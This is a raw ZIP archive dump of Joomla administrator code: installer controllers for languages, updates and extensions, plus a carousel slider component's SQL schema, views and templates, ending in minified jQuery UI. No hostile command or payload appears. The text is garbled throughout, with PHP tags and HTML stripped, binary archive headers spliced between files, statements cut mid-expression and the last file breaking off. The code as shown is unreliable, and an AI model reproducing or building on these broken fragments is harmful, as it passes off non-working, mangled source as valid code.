$this->_getPackageUrl($remote_manifest); if (!$package_url) { // Could not find the url , maybe the url is wrong in the update server, or there is not internet access $message = JText::sprintf('COM_INSTALLER_MSG_LANGUAGES_CANT_FIND_REMOTE_PACKAGE', $language->name); $message .= ' ' . JText::_('COM_INSTALLER_MSG_LANGUAGES_TRY_LATER'); $app->enqueueMessage($message); continue; } // Download the package to the tmp folder $package = $this->_downloadPackage($package_url); // Install the package if (!$installer->install($package['dir'])) { // There was an error installing the package $message = JText::sprintf('COM_INSTALLER_INSTALL_ERROR', $language->name); $message .= ' ' . JText::_('COM_INSTALLER_MSG_LANGUAGES_TRY_LATER'); $app->enqueueMessage($message); continue; } // Package installed successfully $app->enqueueMessage(JText::sprintf('COM_INSTALLER_INSTALL_SUCCESS', $language->name)); // Cleanup the install files in tmp folder if (!is_file($package['packagefile'])) { $config = JFactory::getConfig(); $package['packagefile'] = $config->get('tmp_path') . '/' . $package['packagefile']; } JInstallerHelper::cleanupInstall($package['packagefile'], $package['extractdir']); // Delete the installed language from the list $language->delete($id); } } /** * Gets the manifest file of a selected language from a the language list in a update server. * * @param int $uid the id of the language in the #__updates table * * @return string */ protected function _getLanguageManifest($uid) { $instance = JTable::getInstance('update'); $instance->load($uid); $detailurl = trim($instance->detailsurl); return $detailurl; } /** * Finds the url of the package to download. * * @param string $remote_manifest url to the manifest XML file of the remote package * * @return string|bool */ protected function _getPackageUrl( $remote_manifest ) { $update = new JUpdate; $update->loadFromXML($remote_manifest); $package_url = trim($update->get('downloadurl', false)->_data); return $package_url; } /** * Download a language package from an URL and unpack it in the tmp folder. * * @param string $url url of the package * * @return array|bool Package details or false on failure */ protected function _downloadPackage($url) { // Download the package from the given URL $p_file = JInstallerHelper::downloadPackage($url); // Was the package downloaded? if (!$p_file) { JError::raiseWarning('', JText::_('COM_INSTALLER_MSG_INSTALL_INVALID_URL')); return false; } $config = JFactory::getConfig(); $tmp_dest = $config->get('tmp_path'); // Unpack the downloaded package file $package = JInstallerHelper::unpack($tmp_dest . '/' . $p_file); return $package; } } PK@y>\V#components/com_installer/index.htmlnuW+A PK@y>\S\aa2components/com_installer/controllers/languages.phpnuW+Aparams; $cache_timeout = $params->get('cachetimeout', 6, 'int'); $cache_timeout = 3600 * $cache_timeout; // Find updates $model = $this->getModel('languages'); $model->findLanguages($cache_timeout); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=languages', false)); } /** * Purgue the updates list. * * @return void */ public function purge() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Purge updates $model = $this->getModel('update'); $model->purge(); $model->enableSites(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=languages', false), $model->_message); } /** * Install languages. * * @return void */ public function install() { $model = $this->getModel('languages'); // Get array of selected languages $lids = JRequest::getVar('cid', array(), '', 'array'); JArrayHelper::toInteger($lids, array()); if (!$lids) { // No languages have been selected $app = JFactory::getApplication(); $app->enqueueMessage(JText::_('COM_INSTALLER_MSG_DISCOVER_NOEXTENSIONSELECTED')); } else { // Install selected languages $model->install($lids); } $this->setRedirect(JRoute::_('index.php?option=com_installer&view=languages', false)); } } PK@y>\S1components/com_installer/controllers/discover.phpnuW+AgetModel('discover'); $model->discover(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=discover', false)); } /** * Install a discovered extension. * * @since 1.6 */ function install() { $model = $this->getModel('discover'); $model->discover_install(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=discover', false)); } /** * Clean out the discovered extension cache. * * @since 1.6 */ function purge() { $model = $this->getModel('discover'); $model->purge(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=discover', false), $model->_message); } } PK@y>\0components/com_installer/controllers/install.phpnuW+AgetModel('install'); if ($model->install()) { $cache = JFactory::getCache('mod_menu'); $cache->clean(); // TODO: Reset the users acl here as well to kill off any missing bits } $app = JFactory::getApplication(); $redirect_url = $app->getUserState('com_installer.redirect_url'); if(empty($redirect_url)) { $redirect_url = JRoute::_('index.php?option=com_installer&view=install', false); } else { // wipe out the user state when we're going to redirect $app->setUserState('com_installer.redirect_url', ''); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); } $this->setRedirect($redirect_url); } } PK@y>\).components/com_installer/controllers/.htaccessnuW+A Order allow,deny Deny from all PK@y>\}s=oo1components/com_installer/controllers/database.phpnuW+AgetModel('database'); $model->fix(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=database', false)); } } PK@y>\3& & /components/com_installer/controllers/manage.phpnuW+AregisterTask('unpublish', 'publish'); $this->registerTask('publish', 'publish'); } /** * Enable/Disable an extension (if supported). * * @since 1.6 */ public function publish() { // Check for request forgeries. JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Initialise variables. $user = JFactory::getUser(); $ids = JRequest::getVar('cid', array(), '', 'array'); $values = array('publish' => 1, 'unpublish' => 0); $task = $this->getTask(); $value = JArrayHelper::getValue($values, $task, 0, 'int'); if (empty($ids)) { JError::raiseWarning(500, JText::_('COM_INSTALLER_ERROR_NO_EXTENSIONS_SELECTED')); } else { // Get the model. $model = $this->getModel('manage'); // Change the state of the records. if (!$model->publish($ids, $value)) { JError::raiseWarning(500, implode('
', $model->getErrors())); } else { if ($value == 1) { $ntext = 'COM_INSTALLER_N_EXTENSIONS_PUBLISHED'; } elseif ($value == 0) { $ntext = 'COM_INSTALLER_N_EXTENSIONS_UNPUBLISHED'; } $this->setMessage(JText::plural($ntext, count($ids))); } } $this->setRedirect(JRoute::_('index.php?option=com_installer&view=manage', false)); } /** * Remove an extension (Uninstall). * * @return void * @since 1.5 */ public function remove() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $eid = JRequest::getVar('cid', array(), '', 'array'); $model = $this->getModel('manage'); JArrayHelper::toInteger($eid, array()); $result = $model->remove($eid); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=manage', false)); } /** * Refreshes the cached metadata about an extension. * * Useful for debugging and testing purposes when the XML file might change. * * @since 1.6 */ function refresh() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $uid = JRequest::getVar('cid', array(), '', 'array'); $model = $this->getModel('manage'); JArrayHelper::toInteger($uid, array()); $result = $model->refresh($uid); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=manage', false)); } } PK@y>\V/components/com_installer/controllers/index.htmlnuW+A PK@y>\9ZOO/components/com_installer/controllers/update.phpnuW+AgetModel('update'); $uid = JRequest::getVar('cid', array(), '', 'array'); JArrayHelper::toInteger($uid, array()); if ($model->update($uid)) { $cache = JFactory::getCache('mod_menu'); $cache->clean(); } $app = JFactory::getApplication(); $redirect_url = $app->getUserState('com_installer.redirect_url'); if(empty($redirect_url)) { $redirect_url = JRoute::_('index.php?option=com_installer&view=update', false); } else { // wipe out the user state when we're going to redirect $app->setUserState('com_installer.redirect_url', ''); $app->setUserState('com_installer.message', ''); $app->setUserState('com_installer.extension_message', ''); } $this->setRedirect($redirect_url); } /** * Find new updates. * * @since 1.6 */ function find() { // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); // Get the caching duration jimport('joomla.application.component.helper'); $component = JComponentHelper::getComponent('com_installer'); $params = $component->params; $cache_timeout = $params->get('cachetimeout', 6, 'int'); $cache_timeout = 3600 * $cache_timeout; // Find updates $model = $this->getModel('update'); $result = $model->findUpdates(0, $cache_timeout); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=update', false)); //$view->display(); } /** * Purges updates. * * @since 1.6 */ function purge() { // Purge updates // Check for request forgeries JSession::checkToken() or jexit(JText::_('JINVALID_TOKEN')); $model = $this->getModel('update'); $model->purge(); $model->enableSites(); $this->setRedirect(JRoute::_('index.php?option=com_installer&view=update', false), $model->_message); } /** * Fetch and report updates in JSON format, for AJAX requests * * @return void * * @since 2.5 */ function ajax() { // Note: we don't do a token check as we're fetching information // asynchronously. This means that between requests the token might // change, making it impossible for AJAX to work. $eid = JRequest::getInt('eid', 0); $skip = JRequest::getVar('skip', array(), 'default', 'array'); $cache_timeout = JRequest::getInt('cache_timeout', 0); if($cache_timeout == 0) { jimport('joomla.application.component.helper'); $component = JComponentHelper::getComponent('com_installer'); $params = $component->params; $cache_timeout = $params->get('cachetimeout', 6, 'int'); $cache_timeout = 3600 * $cache_timeout; } $model = $this->getModel('update'); $result = $model->findUpdates($eid, $cache_timeout); $model->setState('list.start', 0); $model->setState('list.limit', 0); if($eid != 0) { $model->setState('filter.extension_id', $eid); } $updates = $model->getItems(); if(!empty($skip)) { $unfiltered_updates = $updates; $updates = array(); foreach($unfiltered_updates as $update) { if(!in_array($update->extension_id, $skip)) $updates[] = $update; } } echo json_encode($updates); JFactory::getApplication()->close(); } } PK@y>\&yOO/components/com_unitehcarousel/sql/uninstall.sqlnuW+ADROP TABLE `#__unitehcarousel_sliders`; DROP TABLE `#__unitehcarousel_slides`;PK@y>\!QQ-components/com_unitehcarousel/sql/install.sqlnuW+ACREATE TABLE IF NOT EXISTS `#__unitehcarousel_sliders` ( `id` int(10) unsigned NOT NULL auto_increment, `title` varchar(255) NOT NULL, `alias` varchar(255) NOT NULL default '', `published` tinyint(1) NOT NULL default '0', `ordering` int(11) NOT NULL default '0', `params` text NOT NULL, `visual` text NOT NULL, PRIMARY KEY (`id`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; CREATE TABLE IF NOT EXISTS `#__unitehcarousel_slides` ( `id` int(10) unsigned NOT NULL auto_increment, `catid` int(10) unsigned NOT NULL default '0', `sliderid` int(10) unsigned NOT NULL default '0', `title` varchar(255) NOT NULL, `alias` varchar(255) NOT NULL default '', `image` varchar(255) NOT NULL, `description` text NOT NULL, `published` tinyint(1) NOT NULL default '0', `checked_out` int(10) unsigned NOT NULL default '0', `checked_out_time` datetime NOT NULL default '0000-00-00 00:00:00', `ordering` int(11) NOT NULL default '0', `params` text NOT NULL, PRIMARY KEY (`id`), KEY `catid` (`catid`,`published`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; PK@y>\)+components/com_unitehcarousel/sql/.htaccessnuW+A Order allow,deny Deny from all PK@y>\,components/com_unitehcarousel/sql/index.htmlnuW+APK@y>\>7Y*components/com_unitehcarousel/includes.phpnuW+APK@y>\)-components/com_unitehcarousel/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\5components/com_unitehcarousel/views/slider/index.htmlnuW+APK@y>\t?components/com_unitehcarousel/views/slider/tmpl/edit_params.phpnuW+Aform->getFieldsets('params'); foreach ($fieldSets as $name => $fieldSet) : $fieldsetItems = $this->form->getFieldset($name); if(empty($fieldsetItems)) continue; echo JHtml::_('sliders.panel',JText::_($fieldSet->label), $name.'-params'); if (isset($fieldSet->description) && trim($fieldSet->description)) : echo '

'.$this->escape(JText::_($fieldSet->description)).'

'; endif; ?>
PK@y>\:components/com_unitehcarousel/views/slider/tmpl/index.htmlnuW+APK@y>\Bc1h ?components/com_unitehcarousel/views/slider/tmpl/edit_visual.phpnuW+A
isNew == false):?> Edit Slides
putVisualFields("general") ?>

This is html caption, you can play with the text style.

bulletsHtml; ?>
PK@y>\\ ƀ8components/com_unitehcarousel/views/slider/tmpl/edit.phpnuW+Aitem->id; try{ ?>
loadTemplate('general'); ?>
getMessage(); $message = str_replace("\\", "/", $message); $message = stripslashes($message); ?> PK@y>\e0f%%:components/com_unitehcarousel/views/slider/tmpl/arrows.phpnuW+A
PK@y>\Z;components/com_unitehcarousel/views/slider/tmpl/bullets.phpnuW+A
PK@y>\)9components/com_unitehcarousel/views/slider/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\A@components/com_unitehcarousel/views/slider/tmpl/edit_general.phpnuW+AisNew) $boxTitle = JText::_('COM_UNITEHCAROUSEL_NEW'); else $boxTitle = JText::_('COM_UNITEHCAROUSEL_SLIDER_SETTINGS'); ?>
form, "general", $boxTitle); ?> isNew == false):?> Edit Slides
form, "params"); ?>
PK@y>\#ɻ--;components/com_unitehcarousel/views/slider/tmpl/default.phpnuW+A slider default layoutPK@y>\}8components/com_unitehcarousel/views/slider/tmpl/ajax.phpnuW+A$action,"success"=>true); try{ switch($action){ case "get_bullets_html": $setName = UniteFunctionsHCar::getVal($data, "setName"); $html = HelperUniteHCar::getBulletsHtml($setName); $response["bullets_html"] = $html; break; default: UniteFunctionsHCar::throwError("Wrong action: $action"); break; } }catch(Exception $e){ $message = $e->getMessage(); UniteFunctionsHCar::jsonErrorResponse($message); } UniteFunctionsHCar::jsonResponse($response); ?>PK@y>\)4components/com_unitehcarousel/views/slider/.htaccessnuW+A Order allow,deny Deny from all PK@y>\R< < 8components/com_unitehcarousel/views/slider/view.html.phpnuW+AisNew) $title .= '[ ' . JText::_( 'COM_UNITEHCAROUSEL_NEW' ).' ]'; else $title .= $this->item->title." [".JText::_("COM_UNITEHCAROUSEL_EDIT_SETTINGS")."]"; JToolBarHelper::title($title , 'generic.png' ); if ($this->isNew){ // For new records, check the create permission. JToolBarHelper::apply('slider.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('slider.save', 'JTOOLBAR_SAVE'); JToolBarHelper::custom('slider.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); JToolBarHelper::cancel('slider.cancel', 'JTOOLBAR_CANCEL'); } else { JToolBarHelper::apply('slider.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('slider.save', 'JTOOLBAR_SAVE'); //JToolBarHelper::custom('slider.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false); JToolBarHelper::cancel('slider.cancel', 'JTOOLBAR_CANCEL'); } } /** * the main disply function */ public function display($tpl = null) { // Initialiase variables. $this->form = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); $this->isNew = ($this->item->id == 0); if($this->_layout == "default" || $this->_layout == "edit"){ if($this->isNew == false){ $this->linkEditSlides = HelperUniteHCar::getViewUrl_Items($this->item->id); } } // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } } PK@y>\F)9components/com_unitehcarousel/views/sliders/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } /** * * add toolbar */ protected function addToolbar() { $title = JText::_('COM_UNITEHCAROUSEL'). " - ". JText::_('COM_UNITEHCAROUSEL_SLIDERS'); JToolBarHelper::title($title , 'generic.png'); JToolBarHelper::addNew('slider.add','JTOOLBAR_NEW'); JToolBarHelper::editList('slider.edit','JTOOLBAR_EDIT'); JToolBarHelper::deleteList('COM_UNITEHCAROUSEL_SLIDER_APPROVE_DELETE', 'sliders.delete','JTOOLBAR_DELETE'); JToolBarHelper::divider(); JToolBarHelper::custom('sliders.publish', 'publish.png', 'publish_f2.png','JTOOLBAR_PUBLISH', true); JToolBarHelper::custom('sliders.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true); //JToolBarHelper::divider(); //JToolBarHelper::preferences('com_unitehcarousel', 300, 600); } }PK@y>\6components/com_unitehcarousel/views/sliders/index.htmlnuW+APK@y>\)5components/com_unitehcarousel/views/sliders/.htaccessnuW+A Order allow,deny Deny from all PK@y>\;components/com_unitehcarousel/views/sliders/tmpl/index.htmlnuW+APK@y>\):components/com_unitehcarousel/views/sliders/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\o-<components/com_unitehcarousel/views/sliders/tmpl/default.phpnuW+A get('id'); $listOrder = $this->state->get('list.ordering'); $listDirn = $this->state->get('list.direction'); $canOrder = true; //$user->authorise('core.edit.state', 'com_contact.category'); $saveOrder = $listOrder == 'a.ordering'; $table = new UniteAdminTableHCar($this->state); $table->addFilter(UniteAdminTableHCar::FILTER_TYPE_PUBLISHED); ?>
putFilterBar(); ?>
items); foreach ($this->items as $i => $slider) : $ordering = ($listOrder == 'a.ordering'); $canCreate = true; $canEdit = true; $canCheckin = true; $canEditOwn = true; $canChange = true; $sliderID = $slider->id; $urlSliderSettings = HelperUniteHCar::getViewUrl_Slider($sliderID); $urlEditSlides = HelperUniteHCar::getViewUrl_Items($sliderID); $title = $this->escape($slider->title); ?>
items, 'filesave.png', 'items.saveorder'); ?>
pagination->getListFooter(); ?>

escape($slider->alias)); ?>

published, $i, 'sliders.', true, 'cb'); ?> pagination->orderUpIcon($i, ($slider->ordering == @$this->items[$i - 1]->ordering), 'items.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($slider->ordering == @$this->items[$i + 1]->ordering), 'items.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($slider->ordering == @$this->items[$i - 1]->ordering), 'items.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($slider->ordering == @$this->items[$i + 1]->ordering), 'items.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> id; ?>
PK@y>\Bt|;components/com_unitehcarousel/views/sliders/tmpl/footer.phpnuW+A
PK@y>\.components/com_unitehcarousel/views/index.htmlnuW+APK@y>\3components/com_unitehcarousel/views/item/index.htmlnuW+APK@y>\)2components/com_unitehcarousel/views/item/.htaccessnuW+A Order allow,deny Deny from all PK@y>\8components/com_unitehcarousel/views/item/tmpl/index.htmlnuW+APK@y>\v##6components/com_unitehcarousel/views/item/tmpl/edit.phpnuW+A
loadTemplate("inside"); ?>
PK@y>\}=components/com_unitehcarousel/views/item/tmpl/edit_inside.phpnuW+Aform->getFieldset('optional'); $styleImagePreview = ""; ?>
item->id) ? JText::_('COM_UNITEHCAROUSEL_NEW') : JText::sprintf('COM_UNITEHCAROUSEL_EDIT', $this->item->id); ?>
PK@y>\)7components/com_unitehcarousel/views/item/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\6components/com_unitehcarousel/views/item/view.html.phpnuW+Aform, $name); } /** * * put some optional field */ public function putOptionalField($name){ UniteFunctionJoomlaHCar::putFormField($this->form, $name,"params"); } /** * * set image style and preview url */ private function setImage(){ //get slider id if(!empty($this->item->id)){ $sliderID = $this->item->sliderid; }else $sliderID = JRequest::getVar("sliderid"); $slider = HelperUniteHCar::getSlider($sliderID); $params = $slider["params"]; $imageHeight = $params->get("image_height",100); $imageWidth = $params->get("image_width",150); $this->slider = $slider; //put image if($this->isEmpty == false){ $filenameImage = $this->params->get("image"); $this->urlPreview = UniteFunctionJoomlaHCar::getImageOutputUrl($filenameImage,$imageWidth,$imageHeight,true); }else{ $this->imagePreviewStyle = "style='display:none;'"; } //add image pattern to js $pattern = UniteFunctionJoomlaHCar::getImageOutputUrl("IMAGE_PLACE",$imageWidth,$imageHeight,true,false); UniteFunctionJoomlaHCar::addScriptDeclaration("var g_imagePattern='$pattern';"); } protected function addToolbar(){ JRequest::setVar('hidemainmenu', true); $user = JFactory::getUser(); $userId = $user->get('id'); $isNew = ($this->item->id == 0); $checkedOut = !($this->item->checked_out == 0 || $this->item->checked_out == $userId); $canDo = true; //ContactHelper::getActions($this->state->get('filter.category')); $sliderTitle = $this->slider["title"]; $title = JText::_('COM_UNITEHCAROUSEL').' - '.$sliderTitle; if($isNew){ $title .= JText::_( 'COM_UNITEHCAROUSEL_NEW' ); }else{ $title .= " [".JText::_('COM_UNITEHCAROUSEL_EDIT_SLIDE')."]"; } JToolBarHelper::title($title, 'generic.png' ); // Built the actions for new and existing records. if ($isNew) { // For new records, check the create permission. //if ($canDo->get('core.create')) { JToolBarHelper::apply('item.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('item.save', 'JTOOLBAR_SAVE'); //JToolBarHelper::custom('item.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); //} JToolBarHelper::cancel('item.cancel', 'JTOOLBAR_CANCEL'); } else { // Can't save the record if it's checked out. if (!$checkedOut) { // Since it's an existing record, check the edit permission, or fall back to edit own if the owner. //if ($canDo->get('core.edit') || ($canDo->get('core.edit.own') && $this->item->created_by == $userId)) { JToolBarHelper::apply('item.apply', 'JTOOLBAR_APPLY'); JToolBarHelper::save('item.save', 'JTOOLBAR_SAVE'); // We can save this record, but check the create permission to see if we can return to make a new one. //if ($canDo->get('core.create')) { //JToolBarHelper::custom('contact.save2new', 'save-new.png', 'save-new_f2.png', 'JTOOLBAR_SAVE_AND_NEW', false); //} //} } // If checked out, we can still save //if ($canDo->get('core.create')) { JToolBarHelper::custom('item.save2copy', 'save-copy.png', 'save-copy_f2.png', 'JTOOLBAR_SAVE_AS_COPY', false); //} JToolBarHelper::cancel('item.cancel', 'JTOOLBAR_CLOSE'); } } /** * display function * */ public function display($tpl = null) { // Initialiase variables. $this->form = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); if(!empty($this->item->id)) $this->isEmpty = false; $arrParams = $this->item->get("params"); $this->params = new JRegistry(); $this->params->loadArray($arrParams); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->setImage(); $this->addToolbar(); parent::display($tpl); } } PK@y>\4components/com_unitehcarousel/views/items/index.htmlnuW+APK@y>\{H7components/com_unitehcarousel/views/items/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); $this->arrSliders = $this->get("ArrSliders"); $this->sliderID = $this->get("SliderID"); $this->linkSliderSettings = HelperUniteHCar::getViewUrl_Slider($this->sliderID); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } $this->addToolbar(); parent::display($tpl); } protected function addToolbar() { //$sliderTitle = $this->arrSliders[$this->sliderID]["title"]; $arrSlider = HelperUniteHCar::getSlider($this->sliderID); $sliderTitle = $arrSlider["title"]; $title = JText::_('COM_UNITEHCAROUSEL'). " - ".$sliderTitle." - "; $title .= "[".JText::_('COM_UNITEHCAROUSEL_SLIDES')."]"; JToolBarHelper::title($title, 'generic.png'); $numSliders = count($this->arrSliders); if($numSliders > 0){ JToolBarHelper::addNew('items.add','JTOOLBAR_NEW'); JToolBarHelper::deleteList('', 'items.delete','JTOOLBAR_DELETE'); JToolBarHelper::divider(); JToolBarHelper::custom('items.publish', 'publish.png', 'publish_f2.png','JTOOLBAR_PUBLISH', true); JToolBarHelper::custom('items.unpublish', 'unpublish.png', 'unpublish_f2.png', 'JTOOLBAR_UNPUBLISH', true); JToolBarHelper::divider(); JToolBarHelper::cancel('slider.cancel', 'JTOOLBAR_CLOSE'); //JToolBarHelper::divider(); //JToolBarHelper::preferences('com_unitehcarousel', 300, 600); } } }PK@y>\k''@components/com_unitehcarousel/views/items/tmpl/default_slide.phpnuW+Aget('id'); $listOrder = $this->state->get('list.ordering'); $listDirn = $this->state->get('list.direction'); $canOrder = true; //$user->authorise('core.edit.state', 'com_contact.category'); $saveOrder = $listOrder == 'a.ordering'; ?>
linkSliderSettings)):?>
items); foreach ($this->items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = true; //$user->authorise('core.create', 'com_contact.category.'.$item->catid); $canEdit = true; //$user->authorise('core.edit', 'com_contact.category.'.$item->catid); $canCheckin = true; //$user->authorise('core.manage', 'com_checkin') || $item->checked_out == $userId || $item->checked_out == 0; $canEditOwn = true; //$user->authorise('core.edit.own', 'com_contact.category.'.$item->catid) && $item->created_by == $userId; $canChange = true; //$user->authorise('core.edit.state', 'com_contact.category.'.$item->catid) && $canCheckin; //get params $params = new JRegistry(); $params->loadString($item->params, "json"); $urlRoot = JURI::root(); //get image url's: $image = $params->get("image"); $thumbUrl = UniteFunctionJoomlaHCar::getImageOutputUrl($image,200,100,true); $imageUrl = $urlRoot.$image; $img_file = pathinfo($imageUrl,PATHINFO_BASENAME); $itemTitle = $item->title." ($img_file)"; ?>
pagination->getListFooter(); ?>
id); ?> checked_out) : ?> editor, $item->checked_out_time, 'items.', $canCheckin); ?> escape($itemTitle); ?> escape($itemTitle); ?>

escape($item->alias));?>

slide image slider_name; ?> published, $i, 'items.', true, 'cb' ); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid),'items.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($item->catid == @$this->items[$i+1]->catid), 'items.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, ($item->catid == @$this->items[$i-1]->catid),'items.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $n, ($item->catid == @$this->items[$i+1]->catid), 'items.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> id; ?>
PK@y>\9components/com_unitehcarousel/views/items/tmpl/index.htmlnuW+APK@y>\)8components/com_unitehcarousel/views/items/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ ˳:::components/com_unitehcarousel/views/items/tmpl/default.phpnuW+A arrSliders); if($numSliders == 0){ //error output ?>

Please add some slider before operating slides

loadTemplate("slide"); HelperUniteHCar::includeView("sliders/tmpl/footer.php"); ?> PK@y>\)3components/com_unitehcarousel/views/items/.htaccessnuW+A Order allow,deny Deny from all PK@y>\K (components/com_unitehcarousel/config.xmlnuW+A
PK@y>\(components/com_unitehcarousel/index.htmlnuW+APK@y>\y,components/com_unitehcarousel/controller.phpnuW+AaddStyleSheet($urlAssets . "style.css"); //add jquery //$document->addScript("http://ajax.googleapis.com/ajax/libs/jquery/1.7/jquery.min.js"); //add jquery ui //$document->addScript("http://ajax.googleapis.com/ajax/libs/jqueryui/1.8.18/jquery-ui.min.js"); $document->addStyleSheet($urlAssets . "jui/jquery-ui-1.8.19.custom.css"); //add custom scripts if($isJoomla3 == false) $document->addScript($urlAssets."jquery.min.js"); $document->addScript($urlAssets . "jquery-ui.min.js"); $document->addScript($urlAssets . "admin.js"); $document->addScript($urlAssets . "hcarousel.js"); //add ajax url: $currentView = JRequest::getVar('view', $this->default_view); $ajaxUrl = UniteFunctionJoomlaHCar::getViewUrl($currentView, "ajax"); $document->addScriptDeclaration("var g_urlAjax='$ajaxUrl';"); if ($isJoomla3) { $document->addStyleSheet($urlAssets . "style-joomla3.css?app=hcarousel"); } parent::display(); return $this; } }PK@y>\GG0components/com_unitehcarousel/unitehcarousel.phpnuW+Aexecute($task); $controller->redirect(); ?>PK@y>\rr5components/com_unitehcarousel/assets/jquery-ui.min.jsnuW+A/*! * jQuery UI 1.8.18 * * Copyright 2011, AUTHORS.txt (http://jqueryui.com/about) * Dual licensed under the MIT or GPL Version 2 licenses. * http://jquery.org/license * * http://docs.jquery.com/UI */(function(a,b){function d(b){return!a(b).parents().andSelf().filter(function(){return a.curCSS(this,"visibility")==="hidden"||a.expr.filters.hidden(this)}).length}function c(b,c){var e=b.nodeName.toLowerCase();if("area"===e){var f=b.parentNode,g=f.name,h;if(!b.href||!g||f.nodeName.toLowerCase()!=="map")return!1;h=a("img[usemap=#"+g+"]")[0];return!!h&&d(h)}return(/input|select|textarea|button|object/.test(e)?!b.disabled:"a"==e?b.href||c:c)&&d(b)}a.ui=a.ui||{};a.ui.version||(a.extend(a.ui,{version:"1.8.18",keyCode:{ALT:18,BACKSPACE:8,CAPS_LOCK:20,COMMA:188,COMMAND:91,COMMAND_LEFT:91,COMMAND_RIGHT:93,CONTROL:17,DELETE:46,DOWN:40,END:35,ENTER:13,ESCAPE:27,HOME:36,INSERT:45,LEFT:37,MENU:93,NUMPAD_ADD:107,NUMPAD_DECIMAL:110,NUMPAD_DIVIDE:111,NUMPAD_ENTER:108,NUMPAD_MULTIPLY:106,NUMPAD_SUBTRACT:109,PAGE_DOWN:34,PAGE_UP:33,PERIOD:190,RIGHT:39,SHIFT:16,SPACE:32,TAB:9,UP:38,WINDOWS:91}}),a.fn.extend({propAttr:a.fn.prop||a.fn.attr,_focus:a.fn.focus,focus:function(b,c){return typeof b=="number"?this.each(function(){var d=this;setTimeout(function(){a(d).focus(),c&&c.call(d)},b)}):this._focus.apply(this,arguments)},scrollParent:function(){var b;a.browser.msie&&/(static|relative)/.test(this.css("position"))||/absolute/.test(this.css("position"))?b=this.parents().filter(function(){return/(relative|absolute|fixed)/.test(a.curCSS(this,"position",1))&&/(auto|scroll)/.test(a.curCSS(this,"overflow",1)+a.curCSS(this,"overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0):b=this.parents().filter(function(){return/(auto|scroll)/.test(a.curCSS(this,"overflow",1)+a.curCSS(this,"overflow-y",1)+a.curCSS(this,"overflow-x",1))}).eq(0);return/fixed/.test(this.css("position"))||!b.length?a(document):b},zIndex:function(c){if(c!==b)return this.css("zIndex",c);if(this.length){var d=a(this[0]),e,f;while(d.length&&d[0]!==document){e=d.css("position");if(e==="absolute"||e==="relative"||e==="fixed"){f=parseInt(d.css("zIndex"),10);if(!isNaN(f)&&f!==0)return f}d=d.parent()}}return 0},disableSelection:function(){return this.bind((a.support.selectstart?"selectstart":"mousedown")+".ui-disableSelection",function(a){a.preventDefault()})},enableSelection:function(){return this.unbind(".ui-disableSelection")}}),a.each(["Width","Height"],function(c,d){function h(b,c,d,f){a.each(e,function(){c-=parseFloat(a.curCSS(b,"padding"+this,!0))||0,d&&(c-=parseFloat(a.curCSS(b,"border"+this+"Width",!0))||0),f&&(c-=parseFloat(a.curCSS(b,"margin"+this,!0))||0)});return c}var 